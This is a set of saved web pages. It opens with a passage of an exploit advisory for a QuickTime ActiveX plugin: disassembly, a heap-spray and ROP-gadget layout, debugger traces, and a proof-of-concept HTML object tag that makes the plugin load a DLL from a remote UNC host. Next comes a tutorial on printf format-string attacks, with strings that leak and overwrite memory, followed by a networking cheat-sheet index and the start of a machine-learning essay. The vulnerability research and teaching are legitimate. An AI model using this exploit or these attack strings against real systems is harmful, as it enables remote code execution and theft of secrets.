    .text:1000E34A                 push    edx
    .text:1000E34B                 **call    sub_100031F0**
    
    
    
[/code]

  
  
Following the flow...  
  

[code]

    sub_10002980+27A
    sub_10002980+27A  loc_10002BFA:                           ; CODE XREF: sub_10002980+266j
    sub_10002980+27A                                          ; sub_10002980+272j
    sub_10002980+27A                  push    offset aType    ; "type"
    sub_10002980+27F                  push    ebx             ; lpString1
    sub_10002980+280                  call    ebp ; lstrcmpiA
    sub_10002980+282                  test    eax, eax
    sub_10002980+284                  jnz     short loc_10002C22
    sub_10002980+286                  push    edi             ; lpString
    sub_10002980+287                  call    ds:lstrlenA
    sub_10002980+28D                  cmp     eax, 104h
    sub_10002980+292                  jnb     short loc_10002C22
    sub_10002980+294                  push    edi             ; lpString2
    sub_10002980+295                  lea     edx, [esi+83Ch]
    sub_10002980+29B                  push    edx             ; lpString1
    sub_10002980+29C                  call    ds:lstrcpyA
    sub_10002980+2A2
    sub_10002980+2A2  loc_10002C22:                           ; CODE XREF: sub_10002980+284j
    sub_10002980+2A2                                          ; sub_10002980+292j
    sub_10002980+2A2                  push    offset a_marshaled_pun ; "_Marshaled_pUnk"
    sub_10002980+2A7                  push    ebx             ; lpString1
    sub_10002980+2A8                  call    ebp ; lstrcmpiA
    sub_10002980+2AA                  test    eax, eax
    sub_10002980+2AC                  jnz     short loc_10002C4A
    sub_10002980+2AE                  push    edi
    sub_10002980+2AF                  call    sub_10001310   ; SIMPLE ASCII NUMBERS TO LONG routine
    sub_10002980+2B4                  add     esp, 4
    sub_10002980+2B7                  lea     ecx, [esi+13B8h]
    sub_10002980+2BD                  push    ecx             ; ppv
    sub_10002980+2BE                  push    offset iid      ; iid
    sub_10002980+2C3                  push    eax             ; pStm
    sub_10002980+2C4                  call    ds:CoGetInterfaceAndReleaseStream  ; WE HAVE A WINNER!!
    sub_10002980+2CA
    sub_10002980+2CA  loc_10002C4A:                           ; CODE XREF: sub_10002980+2ACj
    sub_10002980+2CA                  push    edi             ; int
    
    
    
[/code]

  
  
Oops\! programming rules state that hidden properties should be preceded by
"\_" so this property matches the requirement. It's time to google
"\_Marshaled\_pUnk" which brings us 0 results. Apple scripting  _guide_ for
Quicktime does not even mention it. Weird.  
  
**What's is going on here?**  
  
QTPlugin.OCX checks for the existence of "\_Marshaled\_pUnk" within object's
attributes, if so, unmarshals it by converting the address from its ascii
representation into a numerical one \( sub\_10001310 \). Then, it uses the
resulting pointer as  _pStm_ ,"A pointer to the IStream interface on the
stream to be unmarshaled", CoGetInterfaceAndReleaseStream in order to obtain
the IUnknown pointer \(pUnk from now on\) of the marshalled interface. This
method is pretty common for sharing interface pointers between threads within
COM enabled scenarios \( e.g browsers + plugins \).  
  
So we are controlling an IStream pointer, which is good :\)  
  
However at this point the things didn't make sense for me. Despite of the fact
that a CPluginHost object's variable holds this pointer \(pPlugin+0x13b8\),
pUnk is never used,. According to the COM model, this pointer shouldn't be
used by any other thread. Why in the hell an apple engineer implemented this?
A conspiration between NSA, FSB and the bloody Andorra's secret service may be
possible but I think there must be another explanation.  
  
**Back to the future**  
  
So I am downloading an older version of QTPlugin.ocx, which dates from 2004
\(6.5.1.17\), to try to explain an issue in 2010, cool.  
  
Module: QTPlugin.ocx  

[code]

    .text:6670BE86                 mov     eax, [ebp+1480h ; pPlugin->pUnk ]
    .text:6670BE8C                 cmp     eax, edi
    .text:6670BE8E                 jz      short loc_6670BEF7
    .text:6670BE90                 lea     edx, [esp+7Ch+pHandles]
    .text:6670BE97                 mov     [esp+7Ch+pHandles], edi
    .text:6670BE9E                 mov     ecx, [eax]
    .text:6670BEA0                 push    edx
    .text:6670BEA1                 push    offset dword_667214C8 ;  IID_IViewObject
    .text:6670BEA6                 push    eax
    .text:6670BEA7                 call    dword ptr [ecx]  ; pUnk->QueryInterface(IID_IViewObject,pView)
    .text:6670BEA9                 test    eax, eax
    .text:6670BEAB                 jl      short loc_6670BEF7
    .text:6670BEAD                 mov     edx, [esp+7Ch+arg_10]
    .text:6670BEB4                 push    edi
    .text:6670BEB5                 push    edi
    .text:6670BEB6                 mov     eax, [esp+84h+pHandles]
    .text:6670BEBD                 push    edx
    .text:6670BEBE                 mov     edx, [esp+88h+arg_C]
    .text:6670BEC5                 mov     ecx, [eax]
    .text:6670BEC7                 push    edx
    .text:6670BEC8                 mov     edx, [esp+8Ch+hdc]
    .text:6670BECF                 push    edx
    .text:6670BED0                 mov     edx, [esp+90h+arg_4]
    .text:6670BED7                 push    esi
    .text:6670BED8                 push    edi
    .text:6670BED9                 push    edi
    .text:6670BEDA                 push    0FFFFFFFFh
    .text:6670BEDC                 push    edx
    .text:6670BEDD                 push    eax
    .text:6670BEDE                 call    dword ptr [ecx+0Ch] ; pView->Draw(...)
     
    
    
[/code]

  
  
Reversing this function we can see that, in certain cases, QTPlugin.ocx could
be instructed to draw contents onto an existing window instead of creating a
new one. Mistery solved.  
  
However, although this functionality was removed in newer versions, the param
is still present. Why? I guess someone forgot to clean up the code .  
  
**Exploiting it**  
  
We are controlling the IStream Pointer passed to
CoGetInterfaceAndReleaseStream, at a certain point during the execution flow
of this function, an IStream method is going to be referenced.  
  
ole32\!wCoGetInterfaceAndReleaseStream -> ole32\!CoUnmarshalInterface ->
ole32\!ReadObjRef -> **ole32\!StRead** < = p0wn\!\!  
  
So all we need to do is emulate a fake IStream interface in memory. How?
aligned heap spray FTW\!  
  
This is how our sprayed block would look in memory  
  

[code]

    Heap       Value
    15220c20  15220c18  // Fake VTable pointer
    15220c24  29527ae7  // gadget1 WindowsLiveLogin
    15220c28  27582d63  // gadget2  msidcrl40.dll
    15220c2c  15220d08  // pParam for LoadLibrary (DLL UNC PATH )
    15220c30  15220cbc  // -add     ecx, 0A0h, mov     eax, [ecx]...- gadget2
    15220c34  15220cbc
    15220c38  15220cbc
    15220c3c  15220cbc
    15220c40  15220cbc
    15220c44  15220cbc
    15220c48  15220cbc
    15220c4c  15220cbc
    15220c50  15220cbc
    15220c54  15220cbc
    15220c58  15220cbc
    15220c5c  15220cbc
    15220c60  15220cbc
    15220c64  15220cbc
    15220c68  15220cbc
    [...]
    15220c98  15220cbc
    15220c9c  15220cbc
    15220ca0  15220cbc
    15220ca4  15220cbc
    15220ca8  15220cbc
    15220cac  15220cbc
    15220cb0  15220cbc
    15220cb4  15220cbc
    15220cb8  15220cbc
    15220cbc  15220cbc
    15220cc0  15220cbc
    15220cc4  15220cbc
    15220cc8  295481e8
    15220ccc  295481e8   // LoadLibraryA 
    15220cd0  295481e8
    15220cd4  295481e8
    15220cd8  295481e8
    15220cdc  295481e8
    15220ce0  295481e8
    15220ce4  295481e8
    15220ce8  295481e8
    15220cec  295481e8
    15220cf0  295481e8
    15220cf4  295481e8
    15220cf8  295481e8
    15220cfc  295481e8
    15220d00  295481e8
    15220d04  295481e8
    15220d08  70785c5c  // DLL UNC PATH  "\\xpl8.nu\1"
    15220d0c  6e2e386c
    15220d10  00315c75
    
    
[/code]

  
  
Data is sprayed in such a manner we know that, despite of ASLR, at 0xXXXXX020,
0xXXXXX420,0xXXXXX820,0xXXXXXc20 our block can be located.  
  
As you can see a couple of gadgets are used, since this is a ROP exploit,
however esp is not controlled at all. I'm taking advantage of common code
generated by c++ compilers to control parameters and execution.  
  
The gadgets come from Windows Live messenger dlls that are loaded by default
on IE and have no ASLR flag.  
  

[code]

    0x29527AE7 WindowsLiveLogin.dll gadget1
    
    mov     edx, [esi+0Ch]
    mov     eax, [esi+8] 
    push    edi
    push    offset dword_29501B68
    push    edx
    call    eax
    
    0x27582D63 msidcrl40.dll gadget2
    
    add     ecx, 0A0h
    mov     eax, [ecx]
    mov     eax, [eax+10h]
    pop     ebp
    jmp     eax
    
    
    
[/code]

  
  

[code]

    _stepping into the payload_
    
    ole32!StRead+0x15:
    75c9af58 ff510c          call    dword ptr [ecx+0Ch]  ds:0023:15220c24=29527ae7 
    0:004> t
    eax=15220c20 ebx=05ca72a8 ecx=15220c18 edx=02c13968 esi=15220c20 edi=02c139d0
    eip=29527ae7 esp=02c1394c ebp=02c13960 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    WindowsLiveLogin!DllCanUnloadNow+0x937:
    29527ae7 8b560c          mov     edx,dword ptr [esi+0Ch] ds:0023:15220c2c=15220d08
    
    0:004> t
    eax=15220c20 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20 edi=02c139d0
    eip=29527aea esp=02c1394c ebp=02c13960 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    WindowsLiveLogin!DllCanUnloadNow+0x93a:
    29527aea 8b4608          mov     eax,dword ptr [esi+8] ds:0023:15220c28=27582d63
    
    0:004> t
    eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20 edi=02c139d0
    eip=29527aed esp=02c1394c ebp=02c13960 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    WindowsLiveLogin!DllCanUnloadNow+0x93d:
    29527aed 57              push    edi
    
    0:004> t
    eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20 edi=02c139d0
    eip=29527aee esp=02c13948 ebp=02c13960 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    WindowsLiveLogin!DllCanUnloadNow+0x93e:
    29527aee 68681b5029      push    offset WindowsLiveLogin+0x1b68 (29501b68)
    
    0:004> t
    eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20 edi=02c139d0
    eip=29527af3 esp=02c13944 ebp=02c13960 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    WindowsLiveLogin!DllCanUnloadNow+0x943:
    29527af3 52              push    edx
    
    0:004> t
    eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20 edi=02c139d0
    eip=29527af4 esp=02c13940 ebp=02c13960 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    WindowsLiveLogin!DllCanUnloadNow+0x944:
    29527af4 ffd0            call    eax {msidcrl40!EnumerateDeviceID+0xa113 (27582d63)}
    
    0:004> t
    eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20 edi=02c139d0
    eip=27582d63 esp=02c1393c ebp=02c13960 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    msidcrl40!EnumerateDeviceID+0xa113:
    27582d63 81c1a0000000    add     ecx,0A0h
    
    0:004> t
    eax=27582d63 ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20 edi=02c139d0
    eip=27582d69 esp=02c1393c ebp=02c13960 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    msidcrl40!EnumerateDeviceID+0xa119:
    27582d69 8b01            mov     eax,dword ptr [ecx]  ds:0023:15220cb8=15220cbc
    
    0:004> t
    eax=15220cbc ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20 edi=02c139d0
    eip=27582d6b esp=02c1393c ebp=02c13960 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    msidcrl40!EnumerateDeviceID+0xa11b:
    27582d6b 8b4010          mov     eax,dword ptr [eax+10h] ds:0023:15220ccc=295481e8
    
    0:004> t
    eax=295481e8 ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20 edi=02c139d0
    eip=27582d6e esp=02c1393c ebp=02c13960 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    msidcrl40!EnumerateDeviceID+0xa11e:
    27582d6e 5d              pop     ebp
    
    0:004> t
    eax=295481e8 ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20 edi=02c139d0
    eip=27582d6f esp=02c13940 ebp=29527af6 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    msidcrl40!EnumerateDeviceID+0xa11f:
    27582d6f ffe0            jmp     eax {WindowsLiveLogin!DllUnregisterServer+0x1f588 (295481e8)}
    
    0:004> t
    eax=295481e8 ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20 edi=02c139d0
    eip=295481e8 esp=02c13940 ebp=29527af6 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    **WindowsLiveLogin!DllUnregisterServer+0x1f588:
    295481e8 ff15f8105029    call    dword ptr [WindowsLiveLogin+0x10f8 (295010f8)] ds:0023:295010f8={IEShims!NS_RedirectFiles::APIHook_LoadLibraryA (63e8fbe1)}**
    
    0:004> db poi(esp)
    15220d08  5c 5c 78 70 6c 38 2e 6e-75 5c 31 00 00 00 00 00  \\xpl8.nu\1.....  **p0wn!!**
    
    
[/code]

  
  
Unfortunately, due to DLL Hijacking fiasco workaround, a LoadLibrary+UNC
payload seems not very dangerous...isn't it? ;\)  
  
The exploit defeats ASLR+DEP and has been successfully tested on W7, Vista and
XP.  
  
A metasploit module should be available soon since I sent the exploit details
to Josuah Drake some days before releasing this advisory. PoC:

[code]

     addr = 354552864; // 0x15220C20 [pUnk]  
     var obj=  '<' + 'object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0"'+'>'
               +'<' + 'PARAM name="_Marshaled_pUnk" value="'+addr+'"' + '/>'
               +'<'+'/'+'object>';
    
    
[/code]

  
  
Happy hunting\!

# Wade not in unknown waters. Part two

**Created:**| _2/8/2012 1:36:53 PM_  
---|---  
**Updated:**| _2/8/2012 1:37:02 PM_  
**Author:**| __  
**Tags:**| _C++ programming awesome_  
  

# Wade not in unknown waters. Part two

01.02.2012 Andrey Karpov

  * Introduction
  * Demo sample
  * The first attack
  * Conclusions on the first attack
  * The second attack
  * Conclusions on the second attack
  * General conclusions

This time I want to speak on the 'printf' function. Everybody has heard of
software vulnerabilities and that functions like 'printf' are outlaw. But it's
one thing to know that you'd better not use these functions, and quite the
other to understand why. In this article, I will describe two classic software
vulnerabilities related to 'printf'. You won't become a hacker after that but
perhaps you will have a fresh look at your code. You might create similar
vulnerable functions in your project without knowing that.

STOP. Reader, please stop, don't pass by. You have seen the word "printf", I
know. And you're sure that you will now be told a banal story that the
function cannot check types of passed arguments. No\! It's vulnerabilities
themselves that the article deals with, not the things you have thought.
Please come and read it.

The previous post can be found here: Part one.

## Introduction

Have a look at this line:

[code]

    printf(name);
[/code]

It seems simple and safe. But actually it hides at least two methods to attack
the program.

Let's start our article with a demo sample containing this line. The code
might look a bit odd. It is, really. We found it quite difficult to write a
program so that it could be attacked then. The reason is optimization
performed by the compiler. It appears that if you write a too simple program,
the compiler creates a code where nothing can be hacked. It uses registers,
not the stack, to store data, creates intrinsic functions and so on. We could
write a code with extra actions and loops so that the compiler lacked free
registers and started putting data into the stack. Unfortunately, the code
would be too large and complicated in this case. We could write a whole
detective story about all this, but we won't.

The cited sample is a compromise between complexity and the necessity to
create a code that would not be too simple for the compiler to get it
"collapsed into nothing". I have to confess that I still have helped myself a
bit: I have disabled some optimization options in Visual Studio 2010. First, I
have turned off the /GL \(Whole Program Optimization\) switch. Second, I have
used the \_\_declspec\(noinline\) attribute.

Sorry for such a long introduction: I just wanted to explain why my code is
such a crock and prevent beforehand any debates on how we could write it in a
better way. I know that we could. But we didn't manage to make the code short
and show you the vulnerability inside it at the same time.

## Demo sample

The complete code and project for Visual Studio 2010 can be found here.

[code]

    const size_t MAX_NAME_LEN = 60;
    enum ErrorStatus {
      E_ToShortName, E_ToShortPass, E_BigName, E_OK
    };
    
    void PrintNormalizedName(const char *raw_name)
    {
      char name[MAX_NAME_LEN + 1];
      strcpy(name, raw_name);
    
      for (size_t i = 0; name[i] != '\0'; ++i)
        name[i] = tolower(name[i]);
      name[0] = toupper(name[0]);
    
      printf(name);
    }
    
    ErrorStatus IsCorrectPassword(
      const char *universalPassword,
      BOOL &retIsOkPass)
    {
      string name, password;
      printf("Name: "); cin >> name;
      printf("Password: "); cin >> password;
      if (name.length() < 1) return E_ToShortName;
      if (name.length() > MAX_NAME_LEN) return E_BigName;
      if (password.length() < 1) return E_ToShortPass;
    
      retIsOkPass = 
        universalPassword != NULL &&
        strcmp(password.c_str(), universalPassword) == 0;
      if (!retIsOkPass)
        retIsOkPass = name[0] == password[0];
    
      printf("Hello, ");
      PrintNormalizedName(name.c_str());
    
      return E_OK;
    }
    
    int _tmain(int, char *[])
    {
      _set_printf_count_output(1);
      char universal[] = "_Universal_Pass_!";
      BOOL isOkPassword = FALSE;
      ErrorStatus status =
        IsCorrectPassword(universal, isOkPassword);
      if (status == E_OK && isOkPassword)
        printf("\nPassword: OK\n");
      else
        printf("\nPassword: ERROR\n");
      return 0;
    }
[/code]

The \_tmain\(\) function calls the IsCorrectPassword\(\) function. If the
password is correct or if it coincides with the magic word
"\_Universal\_Pass\_\!", then the program prints the line "Password: OK". The
purpose of our attacks will be to have the program print this very line.

The IsCorrectPassword\(\) function asks the user to specify name and password.
The password is considered correct if it coincides with the magic word passed
into the function. It is also considered correct if the password's first
letter coincides with the name's first letter.

Regardless of whether the correct password is entered or not, the application
shows a welcome window. The PrintNormalizedName\(\) function is called for
this purpose.

The PrintNormalizedName\(\) function is of the most interest. It is this
function where the "printf\(name\);" we're discussing is stored. Think of the
way we can exploit this line to cheat the program. If you know how to do it,
you don't have to read further.

What does the PrintNormalizedName\(\) function do? It prints the name making
the first letter capital and the rest letters small. For instance, if you
enter the name "andREy2008", it will be printed as "Andrey2008".

## The first attack

Suppose we don't know the correct password. But we know that there is some
magic password somewhere. Let's try to find it using printf\(\). If this
password's address is stored somewhere in the stack, we have certain chances
to succeed. Any ideas how to get this password printed on the screen?

Here is a tip. The printf\(\) function refers to the family of variable-
argument functions. These functions work in the following way. Some amount of
data is written into the stack. The printf\(\) function doesn't know how many
data is pushed and what type they have. It follows only the format string. If
it reads "%d%s", then the function should extract one value of the int type
and one pointer from the stack. Since the printf\(\) function doesn't know how
many arguments it has been passed, it can look deeper into the stack and print
data that have nothing to do with it. It usually causes access violation or
printing trash. And we may exploit this trash.

Let's see how the stack might look at the moment when calling the printf\(\)
function:

<img src='img/Temp2_9055.png' alt='Figure 1. Schematic arrangement of data in
the stack.' />

Figure 1. Schematic arrangement of data in the stack.

The "printf\(name\);" function's call has only one argument which is the
format string. It means that if we type in "%d" instead of the name, the
program will print the data that lie in the stack before the
PrintNormalizedName\(\) function's return address. Let's try:

Name: %d

Password: 1

Hello, 37

Password: ERROR

This action has little sense in it for now. First of all, we have at least to
print the return addresses and all the contents of the char
name\[MAX\_NAME\_LEN + 1\] buffer which is located in the stack too. And only
then we may get to something really interesting.

If an attacker cannot disassemble or debug the program, he/she cannot know for
sure if there is something interesting in the stack to be found. He/she still
can go the following way.

First we can enter: "%s". Then "%x%s". Then "%x%x%s" and so on. Doing so, the
hacker will search through the data in the stack in turn and try to print them
as a line. It helps the intruder that all the data in the stack are aligned at
least on a 4-byte boundary.

To be honest, we won't succeed if we go this way. We will exceed the limit of
60 characters and have nothing useful printed. "%f" will help us - it is
intended to print values of the double type. So, we can use it to move along
the stack with an 8-byte step.

Here it is, our dear line:

%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%x\(%s\)

This is the result:

<img src='img/Temp2_9057.png' alt='Figure 2. Printing the password. Click on
the picture to enlarge it.' />

Figure 2. Printing the password. Click on the picture to enlarge it.

Let's try this line as the magic password:

Name: Aaa

Password: \_Universal\_Pass\_\!

Hello, Aaa

Password: OK

Hurrah\! We have managed to find and print the private data which the program
didn't intend to give us access to. Note also that you don't have to get
access to the application's binary code itself. Diligence and persistence are
enough.

## Conclusions on the first attack

You should give a wider consideration to this method of getting private data.
When developing software containing variable-argument functions, think it over
if there are cases when they may be the source of data leakage. It can be a
log-file, a batch passed on the network and the like.

In the case we have considered, the attack is possible because the printf\(\)
function receives a string that may contain control commands. To avoid this,
you just need to write it in this way:

[code]

    printf("%s", name);
[/code]

## The second attack

Do you know that the printf\(\) function can modify memory? You must have read
about it but forgotten. We mean the "%n" specifier. It allows you to write a
number of characters, already printed by the printf\(\) function, by a certain
address.

To be honest, an attack based on the "%n" specifier is just of a historical
character. Starting with Visual Studio 2005, the capability of using "%n" is
off by default. To perform this attack, I had to explicitly allow this
specifier. Here is this magic trick:

[code]

    _set_printf_count_output(1);
[/code]

To make it clearer, let me give you an example of using "%n":

[code]

    int i;
    printf("12345%n6789\n", &i);
    printf( "i = %d\n", i );
[/code]

The program's output:

123456789

i = 5

We have already found out how to get to the needed pointer in the stack. And
now we have a tool that allows us to modify memory by this pointer.

Of course, it's not very much convenient to use it. To start with, we can
write only 4 bytes at a time \(int type's size\). If we need a larger number,
the printf\(\) function will have to print very many characters first. To
avoid this we may use the "%00u" specifier: it affects the value of the
current number of output bytes. Let's not go deep into the detail.

Our case is simpler: we just have to write any value not equal to 0 into the
isOkPassword variable. This variable's address is passed into the
IsCorrectPassword\(\) function, which means that it is stored somewhere in the
stack. Do not be confused by the fact that the variable is passed as a
reference: a reference is an ordinary pointer at the low level.

Here is the line that will allow us to modify the IsCorrectPassword variable:

%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f %n

The "%n" specifier does not take into account the number of characters printed
by specifiers like "%f". That's why we make one space before "%n" to write
value 1 into isOkPassword.

Let's try:

<img src='img/Temp2_9056.png' alt='Figure 3. Writing into memory. Click on the
picture to enlarge it.' />

Figure 3. Writing into memory. Click on the picture to enlarge it.

Are you impressed? But that's not all. We may perform writing by virtually any
address. If the printed line is stored in the stack, we may get the needed
characters and use them as an address.

For example, we may write a string containing characters with codes 'xF8',
'x32', 'x01', 'x7F' in a row. It turns out that the string contains a hard-
coded number equivalent to value 0x7F0132F8. We add the "%n" specifier at the
end. Using "%x" or other specifiers we can get to the coded number 0x7F0132F8
and write the number of printed characters by this address. This method has
some limitations, but it is still very interesting.

## Conclusions on the second attack

We may say that an attack of the second type is hardly possible nowadays. As
you see, support of the "%n" specifier is off in contemporary libraries by
default. But you may create a self-made mechanism subject to this kind of
vulnerabilities. Be careful when external data input into your program manage
what and where is written into memory.

Particularly in our case, we may avoid the problem by writing the code in this
way:

[code]

    printf("%s", name);
[/code]

## General conclusions

We have considered only two simple examples of vulnerabilities here. Surely,
there are much more of them. We don't make an attempt to describe or at least
enumerate them in this article; we wanted to show you that even such a simple
construct like "printf\(name\)" can be dangerous.

There is an important conclusion to draw from all this: if you are not a
security expert, you'd better follow all the recommendations to be found.
Their point might be too subtle for you to understand the whole range of
dangers on yourself. You must have read that the printf\(\) function is
dangerous. But I'm sure that many of you reading this article have learned
only now how deep the rabbit hole is.

If you create an application that is potentially an attack object, be very
careful. What is quite safe code from your viewpoint might contain a
vulnerability. If you don't see a catch in your code, it doesn't mean there
isn't any.

Follow all the compiler's recommendations on using updated versions of string
functions. We mean using sprintf\_s instead of sprintf and so on.

It's even better if you refuse low-level string handling. These functions are
a heritage of the C language. Now we have std::string and we have safe methods
of string formatting such as boost::format or std::stringstream.

P.S. Some of you, having read the conclusions, may say: "well, it's as clear
as day". But be honest to yourself. Did you know and remember that printf\(\)
can perform writing into memory before you read this article? Well, and this
is a great vulnerability. At least, it used to. Now there are others, as much
insidious.

# Cheat Sheets - PacketLife.net

**Created:**| _5/9/2009 10:52:06 AM_  
---|---  
**Updated:**| _5/9/2009 10:53:07 AM_  
**Author:**| __  
**Tags:**| _cheat sheets packet-analysis network-security_  
  

Cheat sheets are in PDF format. You are welcome to use and redistribute them
as you please, so long as they remain intact and unmodified. If you notice an
error or would like to see a new cheat sheet on a specific topic, please drop
me a line. Check out the Frequently Asked Questions for more info.

### Download all cheat sheets

### http://packetlife.net/static/cheatsheets/cheatsheets.zip  

  * Protocols \(11\)
  * Applications \(2\)
  * Reference \(3\)
  * Syntax \(2\)
  * Technologies \(3\)
  * Miscellaneous \(2\)

### Protocols

  * BGP v1.1
<img src='img/Temp2_1440.jpg' alt='BGP cheat sheet preview' />  
Preview | Download
  * EIGRP v1.3
<img src='img/Temp2_1435.jpg' alt='EIGRP cheat sheet preview' />  
Preview | Download
  * First Hop Redundancy v1.0
<img src='img/Temp2_1433.jpg' alt='First Hop Redundancy cheat sheet preview'
/>  
Preview | Download
  * IEEE 802.11 Wireless v1.0
<img src='img/Temp2_1447.jpg' alt='IEEE 802.11 Wireless cheat sheet preview'
/>  
Preview | Download
  * IEEE 802.1X v1.0
<img src='img/Temp2_1442.jpg' alt='IEEE 802.1X cheat sheet preview' />  
Preview | Download
  * IPsec v1.1
<img src='img/Temp2_1452.jpg' alt='IPsec cheat sheet preview' />  
Preview | Download
  * IPv4 Multicast v1.0
<img src='img/Temp2_1437.jpg' alt='IPv4 Multicast cheat sheet preview' />  
Preview | Download
  * IPv6 v1.1
<img src='img/Temp2_1445.jpg' alt='IPv6 cheat sheet preview' />  
Preview | Download
  * IS-IS v1.1
<img src='img/Temp2_1446.jpg' alt='IS-IS cheat sheet preview' />  
Preview | Download
  * OSPF v1.3
<img src='img/Temp2_1436.jpg' alt='OSPF cheat sheet preview' />  
Preview | Download
  * Spanning Tree v2.0
<img src='img/Temp2_1450.jpg' alt='Spanning Tree cheat sheet preview' />  
Preview | Download

### Applications

  * tcpdump v1.0
<img src='img/Temp2_1449.jpg' alt='tcpdump cheat sheet preview' />  
Preview | Download
  * Wireshark Display Filters v1.0
<img src='img/Temp2_1439.jpg' alt='Wireshark Display Filters cheat sheet
preview' />  
Preview | Download

### Reference

  * Common Ports v1.1
<img src='img/Temp2_1454.jpg' alt='Common Ports cheat sheet preview' />  
Preview | Download
  * IP Access Lists v1.1
<img src='img/Temp2_1451.jpg' alt='IP Access Lists cheat sheet preview' />  
Preview | Download
  * Subnetting v1.0
<img src='img/Temp2_1441.jpg' alt='Subnetting cheat sheet preview' />  
Preview | Download

### Syntax

  * Markdown v1.1
<img src='img/Temp2_1432.jpg' alt='Markdown cheat sheet preview' />  
Preview | Download
  * MediaWiki v1.1
<img src='img/Temp2_1434.jpg' alt='MediaWiki cheat sheet preview' />  
Preview | Download

### Technologies

  * MPLS v1.0
<img src='img/Temp2_1448.jpg' alt='MPLS cheat sheet preview' />  
Preview | Download
  * Quality of Service v1.2
<img src='img/Temp2_1444.jpg' alt='Quality of Service cheat sheet preview' />  
Preview | Download
  * VLANs v1.2
<img src='img/Temp2_1443.jpg' alt='VLANs cheat sheet preview' />  
Preview | Download

### Miscellaneous

  * Cisco IOS Versions v1.1
<img src='img/Temp2_1438.jpg' alt='Cisco IOS Versions cheat sheet preview' />  
Preview | Download
  * Physical Terminations v1.1
<img src='img/Temp2_1453.jpg' alt='Physical Terminations cheat sheet preview'
/>  
Preview | Download

## Frequently Asked Questions

#### Can I share these with friends/coworkers?

Sure\! Feel free to distribute these cheat sheets at will. I only ask that
they remain intact and unmodified.

#### Is it okay if I host these on my own site?

While I don't have a problem with it \(so long as you don't claim them as your
own work\), you may want to consider linking to the versions hosted here
instead. As people send in comments and corrections I tend to tweak the cheat
sheets and upload new revisions from time to time. If you do decide to host
your own copies, be sure to check back periodically to make sure you have the
most recent versions.

#### What did you use to make these?

The layout and text is done using a custom HTML and CSS template, rendered in
Mozilla Firefox. I generally suck at any sort of graphic design work, and thus
rely primarily on tools like Visio for diagrams. Some charts were rendered
courtesy of Google's chart API. When finished, I print the markup document to
PDF for distribution.

#### How long does it take to make a cheat sheet?

It depends on the scope and complexity of the subject. Each cheat sheet goes
through a design process which can take anywhere from a few days to several
weeks. I start by determining what information to include, then arranging it
in a template, followed by a cycle of tweaking and verification.

#### Are these for cheating?

No. The term "cheat sheet" is a slang term for a small collection of notes or
a quick reference guide \(my apologies if this isn't a familiar term in your
locale\). I don't condone cheating of any sort, and you're only doing yourself
a disservice if you decide to take that path.

#### What do the version numbers mean?

I assign each document a revision number to track modifications. Minor
revisions \(the number after the dot\) indicate a small correction or design
alteration, whereas major revisions \(the number before the dot\) increase
when a cheat sheet is redone from scratch.

#### Could you expand a little on something?

Remember that these documents were compiled with portability in mind.
Typically I review a set of material and pick the topics I feel are most
important, and cram as much information as I can into a sheet while still
keeping the layout sensible. These documents aren't to be considered
conclusive by any means; rather, they are intended to provide a quick refresh
of some fundamentals. That said, let me know if you think something was
overlooked or deserves mention and I'll see if I can squeeze it in.

#### Something doesn't look right...

If you notice an error in any of the cheat sheets \(factual or design\) please
let me know and I'll do my best to correct it.

#### Could you do a cheat sheet on...?

Feel free to contact me with requests for a particular subject.

# On Machine Learning and Programming Languages

**Created:**| _9/23/2018 8:36:41 AM_  
---|---  
**Updated:**| _9/23/2018 8:36:41 AM_  
**Author:**| _wishi_  
**Tags:**| _machine-learning_  
  

  

# On Machine Learning and Programming Languages

06 Dec 2017

> open-quote
> Any sufficiently complicated machine learning system contains an ad-hoc,
> informally-specified, bug-ridden, slow implementation of half of a
> programming language.1
By Mike Innes \(Julia Computing\), David Barber \(UCL\), Tim Besard \(UGent\),
James Bradbury \(Salesforce Research\), Valentin Churavy \(MIT\), Simon
Danisch \(MIT\), Alan Edelman \(MIT\), Stefan Karpinski \(Julia Computing\),
Jon Malmaud \(MIT\), Jarrett Revels \(MIT\), Viral Shah \(Julia Computing\),
